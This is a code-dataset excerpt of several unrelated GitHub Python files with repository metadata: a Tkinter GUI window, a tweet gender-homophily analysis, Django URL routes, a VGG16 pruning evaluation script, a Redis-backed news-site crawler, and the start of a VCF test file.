highlightthickness=0,\n command=lambda: self.handle_btn_press(self.home_btn, \"home\"),\n cursor='hand2', activebackground=\"#5E95FF\",\n relief=\"flat\",\n )\n self.home_btn.place(x=7.0, y=133.0, width=208.0, height=47.0)\n\n button_image_2 = PhotoImage(file=relative_to_assets(\"button_4.png\"))\n self.rooms_btn = Button(\n self.canvas,\n image=button_image_2,\n borderwidth=0,\n highlightthickness=0,\n command=lambda: self.handle_btn_press(self.rooms_btn, \"abt\"),\n cursor='hand2', activebackground=\"#5E95FF\",\n relief=\"flat\",\n )\n self.rooms_btn.place(x=7.0, y=183.0, width=208.0, height=47.0)\n\n button_image_3 = PhotoImage(file=relative_to_assets(\"button_6.png\"))\n self.guests_btn = Button(\n self.canvas,\n image=button_image_3,\n borderwidth=0,\n highlightthickness=0,\n command=lambda: self.handle_btn_press(self.guests_btn, \"service\"),\n cursor='hand2', activebackground=\"#5E95FF\",\n relief=\"flat\",\n )\n self.guests_btn.place(x=7.0, y=233.0, width=208.0, height=47.0)\n\n button_image_4 = PhotoImage(file=relative_to_assets(\"button_2.png\"))\n self.about_btn = Button(\n self.canvas,\n image=button_image_4,\n borderwidth=0,\n highlightthickness=0,\n command=lambda: self.handle_btn_press(self.about_btn, \"adduser\"),\n cursor='hand2', activebackground=\"#5E95FF\",\n relief=\"flat\",\n )\n self.about_btn.place(x=7.0, y=283.0, width=208.0, height=47.0)\n\n button_image_5 = PhotoImage(file=relative_to_assets(\"button_5.png\"))\n self.logout_btn = Button(\n self.canvas,\n image=button_image_5,\n borderwidth=0,\n highlightthickness=0,\n command=self.admin_login,\n relief=\"flat\",\n )\n self.logout_btn.place(x=0.0, y=333.0, width=215.0, height=47.0)\n\n self.canvas.create_text(\n 28.0,\n 21.0,\n anchor=\"nw\",\n text=\"SHORTPIX\",\n fill=\"#FFFFFF\",\n font=(\"Montserrat Bold\", 36 * -1),\n )\n\n self.canvas.create_text(\n 341.0,\n 213.0,\n anchor=\"nw\",\n text=\"(The screens below\",\n fill=\"#5E95FF\",\n font=(\"Montserrat Bold\", 48 * -1),\n )\n\n self.canvas.create_text(\n 420.0,\n 272.0,\n anchor=\"nw\",\n text=\"will come here)\",\n fill=\"#5E95FF\",\n font=(\"Montserrat Bold\", 48 * -1),\n )\n\n # Loop through windows and place them\n self.windows = {\n \"home\": Home(self),\n \"abt\": About(self),\n \"service\": SelectService(self),\n \"adduser\": AddUsers(self),\n }\n self.handle_btn_press(self.home_btn, \"home\")\n self.sidebar_indicator.place(x=0, y=133)\n self.current_window.place(x=215, y=72, width=1013.0, height=506.0)\n self.current_window.tkraise()\n self.resizable(False, False)\n self.mainloop()\n\n def place_sidebar_indicator(self):\n pass\n\n def admin_login(self):\n self.destroy()\n login.gui.loginWindow()\n\n def handle_btn_press(self, caller, name):\n # Place the sidebar on respective button\n self.sidebar_indicator.place(x=0, y=caller.winfo_y())\n\n # Hide all screens\n for window in self.windows.values():\n window.place_forget()\n\n # Set current Window\n self.current_window = self.windows.get(name)\n\n # Show the screen of the button pressed\n self.windows[name].place(x=215, y=72, width=1013.0, height=506.0)\n\n def handle_dashboard_refresh(self):\n # Recreate the dash window\n self.windows[\"home\"] = Home(self)\n", "repo_name": "Jain-Joseph1996/VisualEffectsServicesusingTkinter", "sub_path": "gui/main_window/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 5604, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pathlib.Path", "line_number": 18, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 19, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 23, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 22, "usage_type": "name"}, {"api_name": "tkinter.Toplevel", "line_number": 30, "usage_type": "name"}, {"api_name": "tkinter.Toplevel.__init__", "line_number": 34, "usage_type": "call"}, {"api_name": "tkinter.Toplevel", "line_number": 34, "usage_type": "name"}, {"api_name": "tkinter.StringVar", "line_number": 42, "usage_type": "call"}, {"api_name": "tkinter.Canvas", "line_number": 44, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 61, "usage_type": "call"}, {"api_name": "tkinter.PhotoImage", "line_number": 65, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 66, "usage_type": "call"}, {"api_name": "tkinter.PhotoImage", "line_number": 77, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 78, "usage_type": "call"}, {"api_name": "tkinter.PhotoImage", "line_number": 89, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 90, "usage_type": "call"}, {"api_name": "tkinter.PhotoImage", "line_number": 101, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 102, "usage_type": "call"}, {"api_name": "tkinter.PhotoImage", "line_number": 113, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 114, "usage_type": "call"}, {"api_name": "gui.main_window.home.main.Home", "line_number": 153, "usage_type": "call"}, {"api_name": "gui.main_window.about.main.About", "line_number": 154, "usage_type": "call"}, {"api_name": "gui.main_window.selectservice.main.SelectService", "line_number": 155, "usage_type": "call"}, {"api_name": "gui.main_window.signup.main.AddUsers", "line_number": 156, "usage_type": "call"}, {"api_name": "gui.main_window.home.main.Home", "line_number": 188, "usage_type": "call"}]} {"seq_id": "22635426462", "text": "import matplotlib.pyplot as plt\nfrom collections import Counter\nimport numpy as np\nimport pandas as pd\n\n# Read list to memory\ndef read_list(file_name):\n with open(file_name, \"r\") as f:\n tweets = []\n for line in f:\n try:\n date, time, name, retweet = line.strip(\"\\n\").split(\"\\t\")\n tweets += [\n {\"date\": date, \"time\": time, \"name\": name, \"retweet\": retweet}\n ]\n except:\n # Wrong encoding detected in the name, for example if it's arabic\n # can lead to issues in reading. Considering that we won't be able\n # to attribute a gender anyway, we just skip\n pass\n return tweets\n\n\ndef create_gender_dict():\n female_names = pd.read_csv(\"female_names.tsv.gz\", sep=\"\\t\")\n female_names = female_names.loc[female_names[\"year\"] > 1940].loc[\n female_names[\"year\"] < 2012\n ]\n female_names = female_names.groupby([\"name\"]).sum()[\"count\"]\n\n male_names = pd.read_csv(\"male_names.tsv.gz\", sep=\"\\t\")\n male_names = male_names.loc[male_names[\"year\"] > 1940].loc[\n male_names[\"year\"] < 2012\n ]\n male_names = male_names.groupby([\"name\"]).sum()[\"count\"]\n\n names = pd.merge(\n male_names, female_names, right_index=True, left_index=True, how=\"outer\"\n ).fillna(0)\n names = names.rename(columns={\"count_x\": \"M\", \"count_y\": \"F\"})\n gender_dict = {}\n for index, row in names.iterrows():\n gender_dict[index] = \"M\" if row[\"M\"] > row[\"F\"] else \"F\"\n\n return gender_dict\n\n\ndef plot_tweet_dist(male, female, topic=\"Tweet numbers\"):\n labels = list(male.keys())\n\n x = np.arange(len(labels)) # the label locations\n width = 0.35 # the width of the bars\n\n plt.rcParams.update({\"font.size\": 16})\n fig, ax = plt.subplots(figsize=(16, 10))\n\n ax.bar(x - width / 2, list(male.values()), width, label=\"Men\")\n ax.bar(x + width / 2, list(female.values()), width, label=\"Women\")\n ax.set_ylabel(topic)\n ax.set_title(f\"{topic} by time (UCT) and gender\")\n ax.set_xticks(x, labels)\n ax.legend()\n\n for i, label in enumerate(ax.xaxis.get_ticklabels()):\n if i % 4 == 0:\n label.set_visible(True)\n else:\n label.set_visible(False)\n\n # fig.tight_layout()\n plt.xticks(rotation=90)\n plt.show()\n plt.savefig(topic)\n\n\ndef compute_weighted_average_homopholy(\n volume_male, volume_female, ratio_male, ratio_female\n):\n total_tweets_men = sum(volume_male.values())\n total_tweets_woman = sum(volume_female.values())\n wgt_avg_hom_men = 0\n wgt_avg_hom_women = 0\n for key in volume_male:\n wgt_avg_hom_men += volume_male[key] * ratio_male[key]\n wgt_avg_hom_women += volume_female[key] * ratio_female[key]\n return wgt_avg_hom_men / total_tweets_men, wgt_avg_hom_women / total_tweets_woman\n\n\ndef analyze_parsed_tweets_file(file_name, suffix):\n print(\"\\nAnalysis for the data \" + suffix + \"\\n\\n\")\n\n tweets = read_list(file_name)\n\n print(f\"There are {len(tweets)} tweets in total!\")\n\n name_allocation = create_gender_dict()\n\n tweets_with_gender = []\n for tweet in tweets:\n name = tweet[\"name\"].split(\" \")[0]\n if name in name_allocation:\n tweet[\"gender\"] = name_allocation[name]\n tweets_with_gender.append(tweet)\n\n male_tweets = [\n tweet[\"time\"] for tweet in tweets_with_gender if tweet[\"gender\"] == \"M\"\n ]\n female_tweets = [\n tweet[\"time\"] for tweet in tweets_with_gender if tweet[\"gender\"] == \"F\"\n ]\n print(\n f\"There are {len(tweets_with_gender)} tweets that a gender could be assigned,{len(male_tweets)} of which are \"\n f\"men and {len(female_tweets)} of which are women.\"\n )\n\n retweeted_tweets = [\n tweet for tweet in tweets_with_gender if tweet[\"retweet\"] != \"NA\"\n ]\n\n tweets_with_gender_and_retweet = []\n for tweet in retweeted_tweets:\n retweet_name = tweet[\"retweet\"].split(\" \")[0]\n if retweet_name in name_allocation:\n tweet[\"retweet_gender\"] = name_allocation[retweet_name]\n tweets_with_gender_and_retweet.append(tweet)\n\n male_tweets = [\n tweet[\"time\"]\n for tweet in tweets_with_gender_and_retweet\n if tweet[\"gender\"] == \"M\"\n ]\n female_tweets = [\n tweet[\"time\"]\n for tweet in tweets_with_gender_and_retweet\n if tweet[\"gender\"] == \"F\"\n ]\n print(\n f\"There are {len(tweets_with_gender_and_retweet)} tweets that have a retweet and a gender could be assigned to \"\n f\"both the OG and tweet, {len(male_tweets)} of which are men and {len(female_tweets)} of which are women.\"\n )\n\n male_counts = Counter(male_tweets)\n female_counts = Counter(female_tweets)\n male_counts = dict(sorted(male_counts.items()))\n female_counts = dict(sorted(female_counts.items()))\n\n plot_tweet_dist(male_counts, female_counts, \"Tweet numbers \" + suffix)\n\n male_tweets_with_retweets = [\n tweet[\"time\"]\n for tweet in tweets_with_gender_and_retweet\n if tweet[\"gender\"] == \"M\" and tweet[\"retweet_gender\"] == \"M\"\n ]\n female_tweets_with_retweets = [\n tweet[\"time\"]\n for tweet in tweets_with_gender_and_retweet\n if tweet[\"gender\"] == \"F\" and tweet[\"retweet_gender\"] == \"F\"\n ]\n\n male_retweet_counts = Counter(male_tweets_with_retweets)\n female_retweet_counts = Counter(female_tweets_with_retweets)\n male_retweet_counts = dict(sorted(male_retweet_counts.items()))\n female_retweet_counts = dict(sorted(female_retweet_counts.items()))\n\n male_retweet_ratio = {\n key: male_retweet_counts[key] / male_counts[key] for key in male_counts\n }\n female_retweet_ratio = {\n key: female_retweet_counts[key] / female_counts[key] for key in female_counts\n }\n plot_tweet_dist(\n male_retweet_ratio, female_retweet_ratio, \"Homophily ratios \" + suffix\n )\n\n wgt_avg_men, wgt_avg_women = compute_weighted_average_homopholy(\n male_counts, female_counts, male_retweet_ratio, female_retweet_ratio\n )\n\n print(\n f\"The weighted average homophily ratio for men is {wgt_avg_men} and for women is {wgt_avg_women}\"\n )\n\n\nif __name__ == \"__main__\":\n analyze_parsed_tweets_file(\"tweets_unfiltered.txt\", \"Unfiltered\")\n analyze_parsed_tweets_file(\"tweets_corruption.txt\", \"Corruption\")\n", "repo_name": "constantineulenstein/231_Twitter_homophily_study", "sub_path": "tweet_analysis.py", "file_name": "tweet_analysis.py", "file_ext": "py", "file_size_in_byte": 6370, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pandas.read_csv", "line_number": 25, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 31, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.rcParams.update", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 54, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 71, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "collections.Counter", "line_number": 142, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 143, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 160, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 161, "usage_type": "call"}]} {"seq_id": "31145884594", "text": "from django.urls import path\nfrom django.contrib import admin\nfrom django.urls import include, path\nfrom . import views\n\nurlpatterns = [\n # Default Path\n path(\"\", views.index, name=\"index\"),\n\n ##########################\n # Functions called by controller classes\n ##########################\n path('fn/expiringFoods', views.filterForExpiringStock,\n name=\"filterForLowStock\"),\n path('fn/filterForLowStock', views.filterForLowStock,\n name=\"filterForLowStock\"),\n path('fn/getItemNames', views.getItemNames, name=\"getItemNames\"),\n\n ##########################\n # POST Requests\n ##########################\n path('fn/createInventory/', views.createInventory, name='createInventory'),\n path('fn/createMarketplace/', views.createMarketplace,\n name='createMarketplace'),\n path('fn/createPrediction/', views.createPrediction, name='createPredictions'),\n path('fn/createSupplier/', views.createSupplier, name='createSupplier'),\n path('fn/suggestedMenu/', views.suggest_menu_items, name='suggestedMenu'),\n\n ##########################\n # REST API URLS\n ##########################\n path('api/inventory/', views.InventoryList.as_view(), name='inventory-list'),\n path('api/marketplace/', views.MarketplaceList.as_view(),\n name='marketplace-list'),\n path('api/predictions/', views.PredictionsList.as_view(),\n name='predictions-list'),\n path('api/predictions//',\n views.PredictionsDetail.as_view(), name='predictions-detail'),\n path('api/supplier/', views.SupplierList.as_view(), name='supplier-list'),\n]\n", "repo_name": "neozhixuan/SC2006-SDAB-2", "sub_path": "SC2006-Django-Backend-main/backendProject/backend/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 1612, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 15, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 17, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 22, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 23, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 25, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 26, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 27, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 32, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 33, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 35, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 37, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 39, "usage_type": "call"}]} {"seq_id": "29988334555", "text": "import argparse\nimport os\nimport torch\nfrom torch import nn\nfrom torch.nn.utils import prune\nfrom torchvision import models\n\nfrom gnnrl.graph_env.feedback_calculation import top5validate\nfrom gnnrl.graph_env.network_pruning import real_pruning, channel_pruning\nfrom gnnrl.utils.split_dataset import get_dataset\n\n\n\n# def boolean_string(s):\n# if s not in {'False', 'True'}:\n# raise ValueError('Not a valid boolean string')\n# return s == 'True'\ndef parse_args():\n parser = argparse.ArgumentParser(description='real pruning')\n #parser.add_argument()\n parser.add_argument('--model', default='vgg16', type=str, help='model to prune')\n parser.add_argument('--ckpt_path', default=None, type=str, help='manual path of checkpoint')\n parser.add_argument('--device', default='cuda', type=str, help='cuda/cpu')\n parser.add_argument('--dataset', default='imagenet', type=str, help='dataset to use (cifar/imagenet)')\n parser.add_argument('--data_root', default='data', type=str, help='dataset path')\n parser.add_argument('--n_worker', default=8, type=int, help='number of data loader worker')\n parser.add_argument('--data_bsize', default=50, type=int, help='number of data batch size')\n\n\n return parser.parse_args()\n\ndef load_model(model_name):\n\n if model_name == \"vgg16\":\n net = models.vgg16(pretrained=True)\n net = channel_pruning(net,torch.ones(100, 1))\n\n if args.ckpt_path is not None: # assigned checkpoint path to resume from\n print('=> Resuming from original model..')\n path = os.path.join(args.ckpt_path,'vgg16_20FLOPs_origin.pth')\n checkpoint = torch.load(path)\n sd = checkpoint['state_dict'] if 'state_dict' in checkpoint else checkpoint\n net.load_state_dict(sd)\n net.cuda()\n\n else:\n raise KeyError\n return net\n\n\n\nif __name__ == '__main__':\n args = parse_args()\n device = torch.device(args.device)\n\n\n train_loader, val_loader, n_class = get_dataset(args.dataset, 256, args.n_worker,\n data_root=args.data_root)\n\n net = load_model(args.model)\n net.to(device)\n net.cuda()\n\n for name, module in net.named_modules(): #remove mask\n if isinstance(module, nn.Conv2d):\n module = prune.remove(module,name='weight')\n\n net = real_pruning(args,net)\n\n if args.ckpt_path is not None: # assigned checkpoint path to resume from\n print('=> Resuming from pruned model..')\n path = os.path.join(args.ckpt_path,'vgg16_20FLOPs.pth')\n checkpoint = torch.load(path)\n sd = checkpoint['state_dict'] if 'state_dict' in checkpoint else checkpoint\n net.load_state_dict(sd)\n\n\n criterion = nn.CrossEntropyLoss().to(device)\n\n val_top1,val_top5 = top5validate(val_loader, device, net, criterion)\n\n print( 'Acc1: {:.3f}% | Acc5: {:.3f}%'.format(val_top1,val_top5))\n\n\n\n\n#python gnnrl_real_pruning.py --dataset imagenet --model vgg16 --data_root ../code/data/datasets --ckpt_path data/pretrained_models\n", "repo_name": "yusx-swapp/GNN-RL-Model-Compression", "sub_path": "gnnrl/___real_pruning.py", "file_name": "___real_pruning.py", "file_ext": "py", "file_size_in_byte": 3048, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 43, "dataset": "github-code", "pt": "78", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 19, "usage_type": "call"}, {"api_name": "torchvision.models.vgg16", "line_number": 35, "usage_type": "call"}, {"api_name": "torchvision.models", "line_number": 35, "usage_type": "name"}, {"api_name": "gnnrl.graph_env.network_pruning.channel_pruning", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.ones", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path", "line_number": 40, "usage_type": "attribute"}, {"api_name": "torch.load", "line_number": 41, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 54, "usage_type": "call"}, {"api_name": "gnnrl.utils.split_dataset.get_dataset", "line_number": 57, "usage_type": "call"}, {"api_name": "torch.nn.Conv2d", "line_number": 65, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 65, "usage_type": "name"}, {"api_name": "torch.nn.utils.prune.remove", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.nn.utils.prune", "line_number": 66, "usage_type": "name"}, {"api_name": "gnnrl.graph_env.network_pruning.real_pruning", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 72, "usage_type": "call"}, {"api_name": "os.path", "line_number": 72, "usage_type": "attribute"}, {"api_name": "torch.load", "line_number": 73, "usage_type": "call"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 78, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 78, "usage_type": "name"}, {"api_name": "gnnrl.graph_env.feedback_calculation.top5validate", "line_number": 80, "usage_type": "call"}]} {"seq_id": "24701193080", "text": "import requests\r\nfrom lxml import etree\r\nfrom threading import Thread\r\nfrom queue import Queue\r\nimport time\r\nimport redis\r\nimport re\r\nfrom bs4 import BeautifulSoup\r\nimport tqdm\r\nimport os\r\n\r\n\r\npool = redis.ConnectionPool(host='localhost', port=6379, db=3,password=\"1234\")\r\nredis = redis.StrictRedis(connection_pool=pool)\r\n\r\nclass get_lzlqc_page():\r\n\r\n def __init__(self):\r\n # self.base_url = \"http://10.10.2.16/\"\r\n self.index_urls = set()\r\n self.two_index_urls = set()\r\n self.url_title = {}\r\n self.base_url = 'http://www.lzlqc.com/'\r\n\r\n \r\n def get_head_index_url(self):\r\n url = self.base_url\r\n response = requests.get(url)\r\n html = response.text\r\n page = etree.HTML(html)\r\n\r\n contents = page.xpath('//a[contains(@href,\"Category_\")]/@href')\r\n\r\n for i in contents:\r\n self.index_urls.add(i)\r\n\r\n def get_two_index_url(self):\r\n for i in self.index_urls:\r\n url = self.base_url + i\r\n response = requests.get(url)\r\n html = response.text\r\n page = etree.HTML(html)\r\n\r\n contents = page.xpath('//a[contains(@href,\"Category_\")]/@href')\r\n for i in contents:\r\n self.two_index_urls.add(i)\r\n self.index_urls |= self.two_index_urls\r\n\r\n def get_all_url_title_redis(self):\r\n for i in self.index_urls:\r\n url = self.base_url[:-1] + i\r\n try:\r\n response = requests.get(url, timeout=5)\r\n time.sleep(0.5)\r\n html = response.text\r\n page = etree.HTML(html)\r\n title = page.xpath('//em/a/text()')\r\n redis.hset(\"url_title\",url, str(title))\r\n print(url, 'over ')\r\n\r\n except Exception as e:\r\n print(e)\r\n print(\"{} get wrong!\".format(url))\r\n\r\n def get_all_url_from_redis_set(self):\r\n urls = redis.hkeys(\"url_title\")\r\n for i in urls:\r\n if len(redis.hget(\"url_title\", i)) != 2:\r\n redis.hset(\"can_use_urls\", i.decode(\"utf8\"), redis.hget(\"url_title\", i))\r\n print(\"set {} ok!\".format(i.decode(\"utf8\")))\r\n\r\n def get_all_split_url_to_redis(self):\r\n all_page_num = 0\r\n for i in redis.hkeys(\"can_use_urls\"):\r\n all_page_num += 1\r\n head_url = i.decode('utf8')\r\n print(head_url)\r\n base_url = head_url[:len(head_url) - len('Index.aspx')]\r\n modol_url = base_url + \"Index_{}\" + \".aspx\"\r\n response = requests.get(head_url, timeout=5)\r\n time.sleep(0.5)\r\n html = response.text\r\n page = etree.HTML(html)\r\n url_details = page.xpath('//span[@class=\"disabled\"]/text()')\r\n if not url_details:\r\n continue\r\n max_page = re.search(\"/共(.*?)页\", str(url_details)).group(1)\r\n urls = [head_url]\r\n for i in range(2, int(max_page) + 1):\r\n urls.append(modol_url.format(i))\r\n all_page_num +=1\r\n redis.hset(\"all_urls\", head_url, str(urls))\r\n print(\"all page :{}\".format(all_page_num))\r\n\r\n def get_all_pag_url_to_redis(self):\r\n values = redis.hkeys(\"all_urls\")\r\n urls = set()\r\n page_num = 0\r\n urls_num = 0\r\n for url in values:\r\n url = url.decode(\"utf8\")\r\n split_urls = redis.hget(\"all_urls\", url).decode(\"utf8\")\r\n for i in eval(split_urls):\r\n try:\r\n response = requests.get(i, timeout=5)\r\n time.sleep(0.5)\r\n html = response.text\r\n page = etree.HTML(html)\r\n page_urls = page.xpath(\"//li/a[contains(@href,'Item')]/@href\")\r\n for page_url in page_urls:\r\n urls.add(page_url)\r\n print(\"{} add over\".format(page_url))\r\n urls_num +=1\r\n print(\"{} already get all url\".format(i))\r\n\r\n except Exception as e:\r\n print(e)\r\n print(i)\r\n print(url)\r\n continue\r\n page_num += 1\r\n\r\n print(\"{} page get!\".format(page_num))\r\n print(\"{} url get!\".format(urls_num))\r\n url_s = ''\r\n for i in urls:\r\n url_s +=','+i\r\n print(i)\r\n redis.hset('all_splite_url', str(urls), url_s)\r\n\r\n def get_all_conten(self):\r\n urls = redis.hvals(\"all_splite_url\")\r\n urls = urls[0].decode('utf8').split(',')\r\n base_url = 'http://www.lzlqc.com'\r\n all_page = 0\r\n get_page = 0\r\n for ur in tqdm.tqdm(urls):\r\n url = base_url+ur\r\n try:\r\n response = requests.get(url, timeout=5)\r\n time.sleep(0.5)\r\n html = response.text\r\n page = etree.HTML(html)\r\n path = page.xpath('//em/a/text()|//em/text()')\r\n clict_num = 0\r\n path_s = '\\\\'\r\n path_s += ''.join([i + '\\\\' for i in path])\r\n soup = BeautifulSoup(html, \"html.parser\")\r\n title = soup.find(name='div', attrs={'class': \"article_infoTitle\"}).find(name='span').find(\r\n name='font').string\r\n author = soup.find(name='div', attrs={'class': 'article_info'}).find(\r\n name='span').find(name='font')\r\n author = str(author)\r\n release_time = re.search('发布时间：(.*?日)', author).group(1)\r\n author = re.search('>(.*?点击数:)', author).group(1)\r\n content = soup.find(name='div', attrs='article_content_list')\r\n content = re.sub('<[^>]+>', '', str(content))\r\n clict = requests.get(\r\n base_url + page.xpath('//div[@class=\"article_info\"]/span/font/script/@src')[0]).text\r\n clict_num = re.findall(\"'(.*?)'\", clict)[0]\r\n author += clict_num\r\n abspath = os.getcwd()\r\n abspath_s = abspath +'\\gets'+ path_s\r\n # print(abspath_s[:-1])\r\n if os.path.isdir(abspath_s[:-1]):\r\n pass\r\n # print(abspath_s[:-1])\r\n else:\r\n os.makedirs(abspath_s[:-1])\r\n # print(path_s)\r\n file_name = release_time + '-----' + title\r\n with open(abspath_s + file_name + '.txt', 'a', encoding='utf8') as p:\r\n p.write(title + \"\\n\")\r\n p.write(author)\r\n p.write(content)\r\n p.write(\"Chang Time：{}\".format(time.asctime()))\r\n redis.hset(\"contents\", str(url), title+author+content)\r\n get_page += 1\r\n # print(abspath_s + title)\r\n except Exception as e:\r\n print(e)\r\n print(\"url :{} get some wrong!!!!!!!!\".format(url))\r\n with open(\"wrong.txt\",'a',encoding='utf8') as P:\r\n P.write(url+\"\\n\")\r\n all_page += 1\r\n continue\r\n print(\"{} all page num\".format(all_page))\r\n print(\"{} get page num\".format(get_page))\r\n\r\n def run(self):\r\n self.get_head_index_url()\r\n self.get_two_index_url()\r\n self.get_all_url_title_redis()\r\n self.get_all_url_from_redis_set()\r\n self.get_all_split_url_to_redis()\r\n\r\n\r\n\r\n\r\nget_url = get_lzlqc_page()\r\n\r\nget_url.get_all_conten()", "repo_name": "blueslatte/crawler", "sub_path": "GETCONTENT.py", "file_name": "GETCONTENT.py", "file_ext": "py", "file_size_in_byte": 7601, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "redis.ConnectionPool", "line_number": 13, "usage_type": "call"}, {"api_name": "redis.StrictRedis", "line_number": 14, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 28, "usage_type": "call"}, {"api_name": "lxml.etree.HTML", "line_number": 30, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 30, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 40, "usage_type": "call"}, {"api_name": "lxml.etree.HTML", "line_number": 42, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 42, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 53, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 54, "usage_type": "call"}, {"api_name": "lxml.etree.HTML", "line_number": 56, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 56, "usage_type": "name"}, {"api_name": "redis.hset", "line_number": 58, "usage_type": "call"}, {"api_name": "redis.hkeys", "line_number": 66, "usage_type": "call"}, {"api_name": "redis.hget", "line_number": 68, "usage_type": "call"}, {"api_name": "redis.hset", "line_number": 69, "usage_type": "call"}, {"api_name": "redis.hget", "line_number": 69, "usage_type": "call"}, {"api_name": "redis.hkeys", "line_number": 74, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 80, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 81, "usage_type": "call"}, {"api_name": "lxml.etree.HTML", "line_number": 83, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 83, "usage_type": "name"}, {"api_name": "re.search", "line_number": 87, "usage_type": "call"}, {"api_name": "redis.hset", "line_number": 92, "usage_type": "call"}, {"api_name": "redis.hkeys", "line_number": 96, "usage_type": "call"}, {"api_name": "redis.hget", "line_number": 102, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 105, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 106, "usage_type": "call"}, {"api_name": "lxml.etree.HTML", "line_number": 108, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 108, "usage_type": "name"}, {"api_name": "redis.hset", "line_number": 129, "usage_type": "call"}, {"api_name": "redis.hvals", "line_number": 132, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 137, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 140, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 141, "usage_type": "call"}, {"api_name": "lxml.etree.HTML", "line_number": 143, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 143, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 148, "usage_type": "call"}, {"api_name": "re.search", "line_number": 154, "usage_type": "call"}, {"api_name": "re.search", "line_number": 155, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 157, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 158, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 160, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 162, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 165, "usage_type": "call"}, {"api_name": "os.path", "line_number": 165, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 169, "usage_type": "call"}, {"api_name": "time.asctime", "line_number": 176, "usage_type": "call"}, {"api_name": "redis.hset", "line_number": 177, "usage_type": "call"}]} {"seq_id": "20826759525", "text": "from os.path import dirname, realpath, join\nimport re\nimport gzip\n\nimport pytest\nimport pandas as pd\n\nfrom vcf_to_dataframe import (\n vcf_to_dataframe,\n available_samples,\n)\nfrom vcf_to_dataframe.vcf_to_dataframe import (\n 